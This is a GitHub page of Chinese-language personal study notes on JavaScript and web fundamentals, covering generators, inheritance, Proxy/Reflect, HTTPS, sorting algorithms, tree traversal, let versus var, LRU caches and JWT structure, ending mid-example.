chuchencheng / note Goto Github PK
View Code? Open in Web Editor NEW菜鸡零碎知识笔记
License: Creative Commons Zero v1.0 Universal
菜鸡零碎知识笔记
License: Creative Commons Zero v1.0 Universal
一种异步编程的解决方案,与传统函数的语法、行为完全不同
function
关键字与函数名之间加个 *
号。
function* gen () {}
内部使用 yield
关键字,执行后返回一个迭代器(Iterator
),没错,就是用 next
方法去遍历的迭代器:
function* gen () {
yield 1
yield 1 + 1
return 3
}
// Iterator
const it = gen()
it.next() // { value: 1, done: false }
it.next() // { value: 2, done: false }
it.next() // { value: 3, done: true }
可以使函数“暂停”在某个阶段,等到执行了 next
方法后再继续执行。
Generator 函数返回的迭代器在没有执行 next
是不会执行的:
function* gen () {
console.log('executed')
}
const it = gen()
it.next()
// executed
另外注意, yield
关键字在其他表达式中,需要用括号包起来,不然会报错:
function* demo() {
console.log('Hello' + yield); // SyntaxError
console.log('Hello' + yield 123); // SyntaxError
console.log('Hello' + (yield)); // OK
console.log('Hello' + (yield 123)); // OK
}
既然是 Iterator ,就可以用 for...of
循环来遍历它:
function* gen () {
yield 1
yield 2
yield 3
return 4
}
for (let value of gen()) {
console.log(value)
}
// 1 2 3
// 注意, `for...of` 循环不会输出结果为 `done: true` 的值
在执行 next
时,如果给它传一个参数,这个参数会作为上一个 yield
表达式的返回值。
如果不传,其实就相当于传了 undefined
function* gen () {
const i = yield 1
console.log(i)
yield i + 1
}
const it = gen()
const y1 = it.next() // { value: 1, done: false }
it.next(y1.value + 1)
// 函数内部输出 2
// next 返回值: { value: 3, done: false }
it.next() // { value: undefined, done: true }
可以在 Generator 函数内部抛出一个错误,如果 Generator 内部没有处理,则会抛出到外部:
function* gen () {
try {
yield
} catch (e) {
console.log('Generator 函数内部捕获', e)
}
}
const it = gen()
it.next() // 先执行到第一个 yield 处
it.throw('手动抛出一个错误')
// Generator 函数内部捕获 手动抛出一个错误
相当于提前把这个迭代器结束遍历,即返回的 done
变为 true
function* gen () {
yield 1
yield 2
yield 3
return 4
}
const it = gen()
it.next() // { value: 1, done: false }
it.return() // { value: undefined, done: true }
it.next() // { value: undefined, done: true }
return
的第一个参数可以指定 value 的值:
function* gen () {
yield 1
yield 2
yield 3
return 4
}
const it = gen()
it.next() // { value: 1, done: false }
it.return('foo') // { value: 'foo', done: true }
it.next() // { value: undefined, done: true }
三个函数其实可以理解为,把执行函数时起点的 yield
替换成了不同的语句:
function* gen () {
const r = yield 1
}
const it = gen()
it.next() // 执行到第一个 yield
it.next()
// 相当于把 `const r = yield 1` 替换成 `const r = undefined`
// it.throw(new Error('error'))
// 相当于把 `const r = yield 1` 替换成 `const r = throw new Error('error')`
// it.return(6)
// 相当于把 `const r = yield 1` 替换成 `const r = return 6`
如果在 Generator 函数内部调用 Generator 函数,可以用 yield*
表达式,这样外层在遍历 Generator 时,遇到内部的 Generator 函数,会转而进入内部函数遍历,不会跳过:
function* bar () {
yield 1
yield 2
}
function* foo () {
yield 3
// 这边如果没有手动去遍历 `bar()` 返回的迭代器, `foo` 的下一个 `next` 函数就会执行到 `yield 4` 了
bar()
yield 4
}
const it = foo()
for (let value of it) {
console.log(value)
}
// 3 4
手动遍历:
function* bar () {
yield 1
yield 2
}
function* foo () {
yield 3
for (let value of bar()) {
yield value
}
yield 4
}
const it = foo()
for (let value of it) {
console.log(value)
}
// 3 1 2 4
使用 yield*
表达式:
function* bar () {
yield 1
yield 2
}
function* foo () {
yield 3
yield* bar()
yield 4
}
const it = foo()
for (let value of it) {
console.log(value)
}
// 3 1 2 4
Generator 函数作为对象属性的写法:
const obj = {
* generatorProperty () {
yield 1
}
}
由于 Generator 函数返回的是一个 Iterator ,而不是 this 对象,因此在 Generator 函数内绑定在 this
上的属性都是无效的:
function* gen () {
this.a = 1
}
const it = gen()
console.log(it instanceof gen) // true , 这是 ES6 规定的,返回的迭代器是 Generator 函数的实例
console.log(it.a) // undefined
此外, Generator 函数也不能作为构造函数而使用 new
命令:
function* gen () {
this.a = 1
}
const it = new gen() // TypeError: gen is not a constructor
这部分见峰哥的文章吧。
利用寄生组合继承
不说花里胡哨的,直接手写代码
假设给定一个父类 SuperClass
,实现一个继承它的子类 SubClass
// 给定的父类
function SuperClass () {
this.superProperty = 1
}
SuperClass.prototype.superMethod = function () {
console.log('super method')
}
// 实现继承的子类
function inheritPrototype (superClass, subClass) {
const tempInstance = Object.create(superClass.prototype)
// 不打破原型链,在 temp 实例上挂一个 constructor
tempInstance.constructor = subClass
subClass.prototype = tempInstance
}
function SubClass (...rest) {
// 继承构造函数创建的属性
SuperClass.call(this, ...rest)
this.subProperty = 2
}
// 继承原型上的方法
inheritPrototype(SuperClass, SubClass)
// 在子类原型上可继续添加新方法
SubClass.prototype.subMethod = function () {
console.log('sub method')
}
在 inheritPrototype
方法中, temp
对象的原型链:
temp.constructor === SubClass // true
temp.__proto__.contructor === SuperClass // true
用于修改某些操作的默认行为,等同于在语言层面做出修改。相当于在目标对象之前架设一层“拦截”,外部对对象的操作,必须通过这层拦截,可对操作进行过滤和改写。
const proxyObject = new Proxy({}, {
get (target, key, receiver) {
// target: 目标对象
// key: 当前获取的键
// receiver: 当前 Proxy 对象
console.log('getting ', key)
return Reflect.get(target, key, receiver)
},
set (target, key, value, receiver) {
// value 当前设置的值
console.log('setting ', key)
return Reflect.set(target, key, value, receiver)
},
})
proxyObject.a = 1 // setting a
proxyObject.a++
// getting a
// setting a
// 1
get? (target: T, p: PropertyKey, receiver: any): any
拦截属性的读取set? (target: T, p: PropertyKey, value: any, receiver: any): boolean
拦截属性的设置has? (target: T, p: PropertyKey): boolean
拦截 propertyKey in proxy
操作deleteProperty? (target: T, p: PropertyKey): boolean
拦截删除属性操作ownKeys? (target: T): PropertyKey[]
拦截 Object.getOwnPropertyNames(proxy)
, Object.getOwnPropertySymbols(proxy)
, Object.keys(proxy)
, for...in
getOwnPropertyDescriptor? (target: T, p: PropertyKey): PropertyDescriptor | undefined
拦截 Object.getOwnPropertyDescriptor(proxy, propertyKey)
defineProperty? (target: T, p: PropertyKey, attributes: PropertyDescriptor): boolean
拦截 Object.defineProperty(proxy, propertyKey, propertyDescriptor)
, Object.defineProperties(proxy, propertyDescriptors)
preventExtensions? (target: T): boolean
拦截 Object.preventExtensions(proxy)
getPrototypeOf? (target: T): object | null
拦截 Object.getPrototypeOf(proxy)
setPrototypeOf? (target: T, v: any): boolean
拦截 Object.setPrototypeOf(proxy, proto)
isExtensible? (target: T): boolean
拦截 Object.isExtensible(proxy)
apply? (target: T, thisArg: any, argArray?: any): any
拦截 Proxy 实例作为函数调用的操作construct? (target: T, argArray: any, newTarget?: any): object
拦截 Proxy 实例作为构造函数调用的操作具体参数说明与用法,可参考各类文档,例如 MDN , typescript 定义,http://es6.ruanyifeng.com/#docs/proxy 等。
定义:
revocable<T extends object>(target: T, handler: ProxyHandler<T>): { proxy: T; revoke: () => void; }
返回一个可取消的 Proxy 实例
const { proxy, revoke } = Proxy.revocable({}, {})
proxy.a = 1
proxy.a // 1
revoke()
proxy.a // TypeError: Cannot perform 'get' on a proxy that has been revoked
可应用于不允许直接访问对象,必须通过代理访问,访问结束后就收回代理,不能再次访问的场景。
Proxy 中的 this 指向的是 proxy ,而不是原对象,因此,即使 handler 是空的,什么也不拦截,其 proxy 的表现与原对象也不是完全一致的。
const target = {
f () {
return this
}
}
const proxy = new Proxy(target, {})
target.f() === target // true
proxy.f() === target // false
proxy.f() === proxy // true
此外,一些原生对象的内部属性,只有通过正确的 this 才能拿到,例如 Date
:
const target = new Date()
const proxy = new Proxy(target, {})
proxy.getDate() // TypeError: this is not a Date object
如果把 this 绑定回原来的对象,就可以正常使用:
const target = new Date()
const proxy = new Proxy(target, {
get (target, key) {
if (key === 'getDate') {
// 判断是否调用的 getDate 方法
return target.getDate.bind(target)
}
return Reflect.get(target, key)
}
})
proxy.getDate() // 正常显示日期
HTTPS 是在 HTTP 上建立 SSL 加密层,对传输数据进行加密,是 HTTP 的安全版。
主要作用:
既然是基于 HTTP ,那说明 HTTP 肯定是在安全方面存在问题的:
HTTPS 不是一种新的协议,实际上是在 HTTP 与 TCP 之间采用了 SSL 进行加密。
HTTPS = HTTP + TLS/SSL
采用非对称加密与对称加密结合来保证
当发起一个 https 请求时:
采用数字签名
数字签名的作用:
过程:
看了上面两个问题的解决,会发现个问题,客户端如何安全地得到非对称加密的公钥的?
实际上,单靠客户端与服务端两端,是无法保证的,因为在传输公钥的过程中也可能被拦截篡改。
这时需要引入可信的第三方机构来做这件事。
过程:
知道了 HTTPS 是如何解决上述三个问题的,基本能知道 HTTPS 的工作流程了。
function bubbleSort (array) {
const length = array.length
for (let i = 0; i < length; i++) {
for (let j = i + 1; j < length; j++) {
if (array[j] < array[j - 1]) {
[array[j], array[j - 1]] = [array[j - 1], array[j]]
}
}
}
}
最好情况时间复杂度:O(n)
最坏情况时间复杂度:O(n^2)
平均时间复杂度:O(n^2)
空间复杂度:O(1)
稳定性:稳定
function selectionSort (array) {
const length = array.length
for (let i = 0; i < length; i++) {
let minIndex = i
for (let j = i + 1; j < length; j++) {
if (array[j] < array[minIndex]) minIndex = j
}
[array[i], array[minIndex]] = [array[minIndex], array[i]]
}
}
最好情况时间复杂度:O(n^2)
最坏情况时间复杂度:O(n^2)
平均时间复杂度:O(n^2)
空间复杂度:O(1)
稳定性:不稳定
function insertionSort (array) {
const length = array.length
for (let i = 1; i < length; i++) {
const insertValue = array[i]
// 注:此处可用二分查找
let j = i - 1
for (; j >=0; j--) {
if (array[j] > insertValue) {
array[j + 1] = array[j]
} else break
}
array[j + 1] = insertValue
}
}
最好情况时间复杂度:O(n)
最坏情况时间复杂度:O(n^2)
平均时间复杂度:O(n^2)
空间复杂度:O(1)
稳定性:稳定
每轮快排的本质就是把基准数字放到排序后它应该在的位置
例如 [3, 2, 1]
以 3
为基准,一轮排序后为 [2, 1, 3]
,3
已经到了排序后它应该所在的位置
function sort (array, startIndex = 0, endIndex = array.length - 1) {
if (startIndex >= endIndex) return
const pivot = array[startIndex]
let left = startIndex
let right = endIndex
while (left < right) {
while (left < right && array[right] > pivot) right--
while (left < right && array[left] <= pivot) left++
if (left < right) {
[array[left], array[right]] = [array[right], array[left]]
}
}
[array[startIndex], array[left]] = [array[left], array[startIndex]]
sort(array, startIndex, left - 1)
sort(array, left + 1, endIndex)
}
function quickSort (array) {
sort(array)
}
非递归版:
function partition(array, startIndex = 0, endIndex = array.length - 1) {
if (startIndex >= endIndex) return -1
const pivot = array[startIndex]
let left = startIndex
let right = endIndex
while (left < right) {
while (left < right && array[right] > pivot) right--
while (left < right && array[left] <= pivot) left++
if (left < right) {
[array[left], array[right]] = [array[right], array[left]]
}
}
[array[startIndex], array[left]] = [array[left], array[startIndex]]
return left
}
function quickSort (array) {
const stack = [[0, array.length - 1]]
while (stack.length) {
const pair = stack.pop()
const pivot = partition(array, pair[0], pair[1])
if (pivot !== -1) {
stack.push([pivot + 1, pair[1]])
stack.push([pair[0], pivot - 1])
}
}
}
最好情况时间复杂度:O(nlogn)
最坏情况时间复杂度:O(n^2)
平均时间复杂度:O(nlogn)
最好情况空间复杂度:O(logn)
平均空间复杂度:O(n)
稳定性:不稳定
二叉堆的概念: #19
// 最小堆下沉操作
function down (array, position, length) {
const target = array[position]
let parentIndex = position
let leftChildIndex = 2 * parentIndex + 1
while (leftChildIndex < length) {
const rightChildIndex = leftChildIndex + 1
if (rightChildIndex < length && array[rightChildIndex] < array[leftChildIndex]) leftChildIndex = rightChildIndex
if (array[leftChildIndex] >= target) break
array[parentIndex] = array[leftChildIndex]
parentIndex = leftChildIndex
leftChildIndex = 2 * parentIndex + 1
}
array[parentIndex] = target
}
function heapSort (array) {
const length = array.length
// 构建二叉堆
for (let i = Math.floor((length - 2) / 2); i >= 0; i--) {
down(array, i, length)
}
// 将二叉堆逐个输出,把删除的元素移动到堆末尾
for (let i = length - 1; i >= 0; i--) {
const first = array[0]
array.push(first)
if (i !== 0) {
array[0] = array.splice(i, 1)[0]
down(array, 0, i)
} else {
array.splice(i, 1)
}
}
}
最好情况时间复杂度:O(nlogn)
最坏情况时间复杂度:O(nlogn)
平均时间复杂度:O(nlogn)
空间复杂度:O(1)
稳定性:不稳定
重点在于“合并”,用到三个指针, p1, p2 分别指向待合并的两个数组, p 指向合并后的数组,对比 p1, p2 所指的值,把较小的值放入合并的数组,并移动较小值的指针,直到一个数组被全部遍历,将未遍历完的数组后面的元素全部放在合并数组的后面。
function merge (array, start, mid, end) {
const mergedArray = []
let p1 = start
let p2 = mid + 1
let p = 0
while (p1 <= mid && p2 <= end) {
if (array[p1] <= array[p2]) {
mergedArray[p++] = array[p1++]
} else {
mergedArray[p++] = array[p2++]
}
}
while (p1 <= mid) mergedArray[p++] = array[p1++]
while (p2 <= end) mergedArray[p++] = array[p2++]
const length = mergedArray.length
for (let i = 0; i < length; i++) {
array[i + start] = mergedArray[i]
}
}
function mergeSort (array, start = 0, end = array.length - 1) {
if (end > start) {
const mid = start + Math.floor((end - start) / 2)
mergeSort(array, start, mid)
mergeSort(array, mid + 1, end)
merge(array, start, mid, end)
}
}
最好情况时间复杂度:O(nlogn)
最坏情况时间复杂度:O(nlogn)
平均时间复杂度:O(nlogn)
空间复杂度:O(n)
稳定性:稳定
本质上希尔排序是插入排序的改进。
上述得到,插入排序最好情况的时间复杂度是 O(n) ,即已经是有序的情况,实际上,数组越是有序,插入排序需要对比的次数就越少。
那么,可以对数组先进行一个粗粒度的处理,例如给定一个跨度 x ,把间隔为 x 的元素取出来单独进行插入排序,然后再缩小跨度,直到跨度为 1 ,这样,在某些情况下就可以把时间复杂度降低到 O(n^2) 以下。
但是遇到一些极端情况,性能反而会比插入排序差,例如 [2, 1, 5, 3, 7, 6, 9, 8]
这组数字,按照 4 或者 2 的跨度处理,顺序都是不变的,最后跨度为 1 时,做了一遍插入排序,前面分组的操作就是白做了。
为此,可以改进跨度增量的算法来弥补此缺陷,参考 漫画:什么是希尔排序?
function shellSort (array) {
const length = array.length
let d = length
while (d > 1) {
d = Math.floor(d / 2)
for (let i = d; i < length; i += d) {
const insertValue = array[i]
let j = i - d
for (; j >= 0; j -= d) {
if (array[j] > insertValue) {
array[j + d] = array[j]
} else break
}
array[j + d] = insertValue
}
}
}
平均时间复杂度:O(n^1.3)
空间复杂度:O(1)
稳定性:不稳定
计数排序适用于符合以下两种条件的数列:
function countSort (array) {
const length = array.length
const min = Math.min(...array)
// JS 数组不用初始化大小,因此不用求最大值
const countArray = []
for (let i = 0; i < length; i++) {
const diff = array[i] - min
const value = countArray[diff]
countArray[diff] = (value || 0) + 1
}
const countLength = countArray.length
let sum = 0
for (let i = 0; i < countLength; i++) {
sum = sum + (countArray[i] || 0)
countArray[i] = sum
}
const sortedArray = []
// 倒序遍历是为了变成稳定排序
for (let i = length - 1; i >= 0; i--) {
const diff = array[i] - min
sortedArray[countArray[diff] - 1] = array[i]
countArray[diff]--
}
return sortedArray
}
最好情况时间复杂度:O(n + m)
最坏情况时间复杂度:O(n + m)
平均时间复杂度:O(n + m)
空间复杂度:O(m) , 如果算上结果数组,是 O(n + m)
稳定性:稳定(不做求和操作的计数为不稳定排序)
以上 m 为数列中最大值与最小值的差
适用于数列分布较均匀的整数或小数
function bucketSort (array) {
const length = array.length
// 桶的个数设置为等于元素个数
const buckets = []
const max = Math.max(...array)
const min = Math.min(...array)
const range = (max - min) / (length - 1)
for (let i = 0; i < length; i++) {
const index = Math.floor((array[i] - min) / range)
if (!buckets[index]) buckets[index] = []
buckets[index].push(array[i])
}
// 对每一个桶进行 O(nlogn) 的排序
let index = 0
const bucketsLength = buckets.length
for (let i = 0; i < bucketsLength; i++) {
if (buckets[i]) {
buckets[i].sort((a, b) => a - b)
const bucketLength = buckets[i].length
for (let j = 0; j < bucketLength; j++) {
array[index++] = buckets[i][j]
}
}
}
}
时间复杂度:O(n + m + n(logn - logm))
空间复杂度:O(n + m)
稳定性:稳定(内部的 nlogn 排序是稳定的话)
以上 m 为桶的个数
把字符串按位拆分,对每一位进行一次计数排序,可用于较长的数字,例如手机号,或者对于字母,例如单词
function radixSort (array) {
const length = array.length
let maxStringLength = 0
// 找出最大字符串长度
for (let i = 0; i < length; i++) {
maxStringLength = Math.max(array[i].toString().length, maxStringLength)
}
// 对于每一位做计数排序
for (let i = maxStringLength - 1; i >= 0; i--) {
const countArray = []
const sortedArray = []
for (let j = 0; j < length; j++) {
const char = array[j].toString()[i]
const index = char != null ? char.codePointAt(0) : 0
countArray[index] = (countArray[index] || 0) + 1
}
const countLength = countArray.length
for (let j = 1; j < countLength; j++) {
countArray[j] = (countArray[j] || 0) + (countArray[j - 1] || 0)
}
for (let j = length - 1; j >= 0; j--) {
const char = array[j].toString()[i]
const index = char != null ? char.codePointAt(0) : 0
sortedArray[countArray[index] - 1] = array[j]
countArray[index]--
}
array = sortedArray
}
return array
}
时间复杂度:O(k(n + m))
空间复杂度:O(n + m)
稳定性:稳定
以上 k 为最长字符长度, m 为计数排序最大值与最小值的差值
排序算法 | 最好时间复杂度 | 最坏时间复杂度 | 平均时间复杂度 | 空间复杂度 | 稳定性 |
---|---|---|---|---|---|
冒泡排序 | O(n) | O(n^2) | O(n^2) | O(1) | 稳定 |
选择排序 | O(n^2) | O(n^2) | O(n^2) | O(1) | 不稳定 |
插入排序 | O(n) | O(n^2) | O(n^2) | O(1) | 稳定 |
快速排序 | O(nlogn) | O(n^2) | O(nlogn) | O(logn) | 不稳定 |
堆排序 | O(nlogn) | O(nlogn) | O(nlogn) | O(1) | 不稳定 |
归并排序 | O(nlogn) | O(nlogn) | O(nlogn) | O(n) | 稳定 |
希尔排序 | O(n^1.3) | O(n^2) | O(n^1.3) | O(1) | 不稳定 |
计数排序 | O(n + m) | O(m),算上存结果的数组是 O(n + m) | 稳定 | ||
桶排序 | O(n + m + n(logn - logm)) | O(n + m) | 稳定 | ||
基数排序 | O(k(n + m)) | O(n + m) | 稳定 |
在 Gecko 下也叫 Frame Tree
渲染树包括节点内容与计算的样式
这个过程在 Gecko 下叫 Reflow
/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/
/**
* @param {TreeNode} root
* @return {number[]}
*/
var postorderTraversal = function(root) {
const result = []
const traverse = (node) => {
if (node) {
if (node.left) traverse(node.left)
if (node.right) traverse(node.right)
result.push(node.val)
}
}
traverse(root)
return result
};
与前序、中序不同,使用一个变量来记录栈顶节点的右子节点是否被访问过了,且在判断是否访问过之前,不执行出栈操作;如果栈顶节点没有右子节点或者右子节点被访问过,则出栈。
/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/
/**
* @param {TreeNode} root
* @return {number[]}
*/
var postorderTraversal = function(root) {
const result = []
const stack = []
let seen = null
let node = root
while (node || stack.length) {
while (node) {
stack.push(node)
node = node.left
}
// 此处因为中间节点可能还不能 push 到 result 中,因此不用 pop
const last = stack[stack.length - 1]
if (!last.right || last.right === seen) {
// 如果没有右子节点或者右子节点已经遍历过了
result.push(last.val)
seen = last
stack.pop()
} else {
node = last.right
}
}
return result
};
/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/
/**
* @param {TreeNode} root
* @return {number[]}
*/
var postorderTraversal = function(root) {
const result = []
if (!root) return result
const stack = [root]
while (stack.length) {
const node = stack.pop()
if (node.left) stack.push(node.left)
if (node.right) stack.push(node.right)
result.unshift(node.val)
}
return result
};
var
定义的变量在 函数作用域
内有效let
定义的变量在 块级作用域
内有效一个很经典的场景:
var funcs = [];
// let's create 3 functions
for (var i = 0; i < 3; i++) {
// and store them in funcs
funcs[i] = function() {
// each should log its value.
console.log("My value: " + i);
};
}
for (var j = 0; j < 3; j++) {
// and now let's run each one to see
funcs[j]();
}
在 for 循环中,如果用 var
去定义 i
,输出的结果是一样的,而如果用的是 let
,输出则是符合直觉的 1, 2, 3
。
来具体分析一下,上面这段代码,假设不是在函数中执行的,就是打开浏览器控制台复制粘贴进去执行,所以是在 全局作用域
中执行的。
而 var i = 0
这个操作,是在 全局作用域
中定义的,因此 i
就是个全局变量了。
所以在执行函数的时候,函数内的作用域没找到 i
,因此到全局作用域中去找,所以输出的结果都是 i
最后被赋的值。而 i
因为是个全局变量,所以在 for 循环后依然能被访问到。
如果用的 let
,则 i
是被定义在 for 循环的这个块中,因此在执行函数的时候,在函数作用域中没找到,转而去上一层的块级作用域中找。而在 for 循环结束后, i
也没法被访问了,如果执行后试图输入 i
,会报 ReferenceError
,因为 i
并没有在全局作用域中定义。
var
声明的变量会被 “提升”function run() {
console.log(foo); // undefined
var foo = "Foo";
console.log(foo); // Foo
}
run();
上述代码中, foo
变量在函数中声明了,因为变量提升,在语句之前是一个声明了但未赋值的状态,所以第一个 console.log
输出 undefined
。
对应使用 let
的情况:
function checkHoisting() {
console.log(foo); // ReferenceError
let foo = "Foo";
console.log(foo); // Foo
}
checkHoisting();
在初始化之前访问 let
声明的变量时,变量处于一个 暂时死区
,即还没声明也没有赋值,因此会报 ReferenceError
。
在全局作用域中, let
声明的变量不会被挂到全局对象上
var foo = "Foo"; // globally scoped
let bar = "Bar"; // globally scoped
console.log(window.foo); // Foo
console.log(window.bar); // undefined
var
允许重复声明,后面声明的赋值会覆盖前面let
重复声明变量时会报 SyntaxError
/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/
/**
* @param {TreeNode} root
* @return {number[]}
*/
var preorderTraversal = function(root) {
const result = []
const traverse = (node) => {
if (!node) return
result.push(node.val)
if (node.left) traverse(node.left)
if (node.right) traverse(node.right)
}
traverse(root)
return result
};
/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/
/**
* @param {TreeNode} root
* @return {number[]}
*/
var preorderTraversal = function(root) {
const result = []
const stack = []
let node = root
while (node || stack.length) {
while (node) {
result.push(node.val)
stack.push(node)
node = node.left
}
node = stack.pop().right
}
return result
};
给定一个二叉树,返回其按层次遍历的节点值。 (即逐层地,从左到右访问所有节点)。
例如:
给定二叉树: [3,9,20,null,null,15,7],
3
/ \
9 20
/ \
15 7
返回其层次遍历结果:
[
[3],
[9,20],
[15,7]
]
/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/
/**
* @param {TreeNode} root
* @return {number[][]}
*/
var levelOrder = function(root) {
const result = []
if (!root) return result
const traverse = (node, depth) => {
if (!result[depth]) result[depth] = []
result[depth].push(node.val)
if (node.left) traverse(node.left, depth + 1)
if (node.right) traverse(node.right, depth + 1)
}
traverse(root, 0)
return result
};
类似非递归求二叉树的深度的做法,在遍历同时记录当前层级的节点
/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/
/**
* @param {TreeNode} root
* @return {number[][]}
*/
var levelOrder = function(root) {
const result = []
if (!root) return result
const stack = [[root, 0]]
while (stack.length) {
const info = stack.pop()
const node = info[0]
const level = info[1]
if (node) {
if (!result[level]) result[level] = []
result[level].push(node.val)
stack.push([node.right, level + 1])
stack.push([node.left, level + 1])
}
}
return result
};
/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/
/**
* @param {TreeNode} root
* @return {number[][]}
*/
var levelOrder = function(root) {
const result = []
if (!root) return result
const queue = [[root, 0]]
while (queue.length) {
const info = queue.shift()
const node = info[0]
const level = info[1]
if (node) {
if (!result[level]) result[level] = []
result[level].push(node.val)
queue.push([node.left, level + 1])
queue.push([node.right, level + 1])
}
}
return result
};
异步编程的一种解决方案,最早由社区提出并实现, ES6 写进语言标准。
主要难点在于 resolve 的如果是个 Promise ,要等这个 Promise 有结果后再处理当前 Promise ,即是一个递归的过程,获取到最后有结果的 Promise 。在规范上,就是 the Promise Resolution Procedure
这个过程。
另一个难点就是 then
方法的实现,这是 Promise 实现的核心之一,其他方法都是基于构造函数与 then
方法的扩展。
对于 Promise.all
, Promise.allSettled
与 Promise.race
这类传入多个 Promise 的方法,限制其同时进行的 Promise 并发数:
见仓库 batch-promise
总结起来就是 计数+递归
检测构造函数的 prototype
属性是否出现在某个实例对象的原型链上。
F.prototype
的原型function _instanceof (instance, constructor) {
if (typeof constructor !== 'function') {
throw new TypeError(`Right-hand side of 'instanceof' is not callable`)
}
const isPrimitive = (value) => value == null || (typeof value !== 'object' && typeof value !== 'function')
const constructorPrototype = constructor.prototype
let prototype = instance
while (!isPrimitive(prototype)) {
prototype = Object.getPrototypeOf(prototype)
if (prototype === constructorPrototype) return true
}
return false
}
本题主要是要解决 put 时如果容量满了,要删除最少使用的缓存
这个问题,因此只要在 put
的时候能知道最少使用的缓存是哪个就行。
使用哈希 Map + 双向链表
/**
* @param {number} capacity
*/
var LRUCache = function(capacity) {
this.capacity = capacity
this.map = new Map()
// 指向排名开头的指针
this.pStart = null
// 指向排名结尾的指针
this.pEnd = null
};
/**
* @param {number} key
* @return {number}
*/
LRUCache.prototype.get = function(key) {
const result = this.map.get(key)
// 找不到则返回 -1
if (!result) return -1
// 如果 get 的是末尾,则不操作
if (this.pEnd !== result) {
if (result.prev) {
// 如果 get 的不是开头
// 上一个链表元素的 next 指向 get 的 next
result.prev.next = result.next
// 下一个链表元素的 prev 指向 get 的 prev
result.next.prev = result.prev
} else {
// 如果 get 的是开头,则重新赋值 pStart
this.pStart = result.next
this.pStart.prev = null
}
// get 的元素放到链表末尾
result.next = null
this.pEnd.next = result
result.prev = this.pEnd
this.pEnd = result
}
return result.value
};
/**
* @param {number} key
* @param {number} value
* @return {void}
*/
LRUCache.prototype.put = function(key, value) {
if (!this.map.has(key)) {
if (this.map.size === this.capacity) {
// 容量达到上限,先删除最近最少使用的缓存,直接把 pStart 指向的链表元素删除
this.map.delete(this.pStart.key)
this.pStart = this.pStart.next
if (this.pStart) {
this.pStart.prev = null
}
}
// put 操作插入的 rank 一定是最高的,因此 next 指向空
const element = {
key,
value,
prev: this.pEnd,
next: null,
}
if (this.map.size === 0) {
this.pStart = element
} else {
this.pEnd.next = element
}
this.pEnd = element
this.map.set(key, element)
} else {
this.map.get(key).value = value
this.get(key)
}
};
/**
* Your LRUCache object will be instantiated and called as such:
* var obj = new LRUCache(capacity)
* var param_1 = obj.get(key)
* obj.put(key,value)
*/
利用 JavaScript Map
中的 keys()
等遍历方法的遍历顺序是插入顺序这个特性,每次 get
时,如果存在 key ,则先在 Map
里删除这个 key ,再插入这个 key ,插入的 key 就是迭代器遍历的最后一个元素。
在 put
时,通过 map.keys().next()
即可获取第一个插入的元素
/**
* @param {number} capacity
*/
var LRUCache = function(capacity) {
this.capacity = capacity
this.map = new Map()
};
/**
* @param {number} key
* @return {number}
*/
LRUCache.prototype.get = function(key) {
const result = this.map.get(key)
// 找不到则返回 -1
if (!result) return -1
this.map.delete(key)
this.map.set(key, result)
return result
};
/**
* @param {number} key
* @param {number} value
* @return {void}
*/
LRUCache.prototype.put = function(key, value) {
if (!this.map.has(key)) {
if (this.map.size === this.capacity) {
this.map.delete(this.map.keys().next().value)
}
this.map.set(key, value)
} else {
this.map.delete(key)
this.map.set(key, value)
}
};
/**
* Your LRUCache object will be instantiated and called as such:
* var obj = new LRUCache(capacity)
* var param_1 = obj.get(key)
* obj.put(key,value)
*/
JWT (JSON Web Token) 是一个公开的标准(RFC 7519),其定义了一种紧凑且独立的方式,使双方可以用 JSON 格式安全地传输信息。使用数字签名使得传输的信息可以被校验和信任。JWT 可以使用一个 secret 签名(HMAC 算法),也可以使用公钥秘钥进行签名(RSA,ECDSA 等)。
JWT 通常用于以下几个场景:
压缩过的 JWT 由三个部分组成,以 .
连接:
因此 JWT 看起来会像是如下结构:
xxxxx.yyyyy.zzzzz
逐个拆解一下
Header 部分一般包含两个字段
示例:
{
"alg": "HS256",
"typ": "JWT"
}
将这串 JSON 经过 Base64 编码后,就得到了 Header 部分
Payload 部分是一些声明,一般包含对一个实体(例如用户)的描述与一些额外的信息。
声明有三种:
这部分声明是预定义的,在标准中推荐有但不强制。提供一系列有用的、用于信息交换的声明。
包括以下字段:
(claims 字段都只有三个字母,是为了保持紧凑)
这部分声明可以按使用者的意愿来定义,但是需要避免与其他字段的冲突,因此,这部分字段应该在 IANA JSON Web Token Registry 中有定义,或者应被定义为一个带有不冲突命名空间的 URI 。
这部分自定义的声明应是使用 JWT 的双方约定好的字段,并且不能是 registered 或者 public 中的声明。
Payload 示例:
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}
将 Payload 部分经过 Base64 编码后,组成 JWT 的第二部分
注意:JWT 虽然可以防止篡改,但是其内容是对任何人可见的,不要将任何未加密的私密信息放入 JWT 中。
将编码过的 Header, Payload 和一个 secret ,经过 Header 中指定的算法进行签名,即可得到 Signature 部分
例如,如果使用 HMAC SHA256 算法,签名将这样生成:
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
签名用于验证信息在传输途中没有被篡改,并且如果是使用私钥进行签发,还可以验证签发者的身份。
把三段 Base64 编码过的内容组合起来,并用 .
连接,即可得到一串 JWT 。
一个简易的时序图:
客户端一般会将 JWT 附在 Authorization Header 中,使用 Bearer 模式,例如:
Authorization: Bearer <token>
使用这种方式传输 JWT ,可以跨域使用,因为不是使用 Cookie 。
Reflect 是一个内置的对象,提供拦截操作的方法,与 Proxy 的 handlers 方法相同。
可以配合 Proxy 使用,在 handlers 中通过 Reflect 获取默认行为,在完成默认行为的基础上做修改。
与 Proxy handlers 相同的 13 个方法。
使用 Proxy 实现观察者模式:
/** 观察者集合 */
const observerSet = new Set()
// 观察者模式方法
const observe = (fn) => observerSet.add(fn)
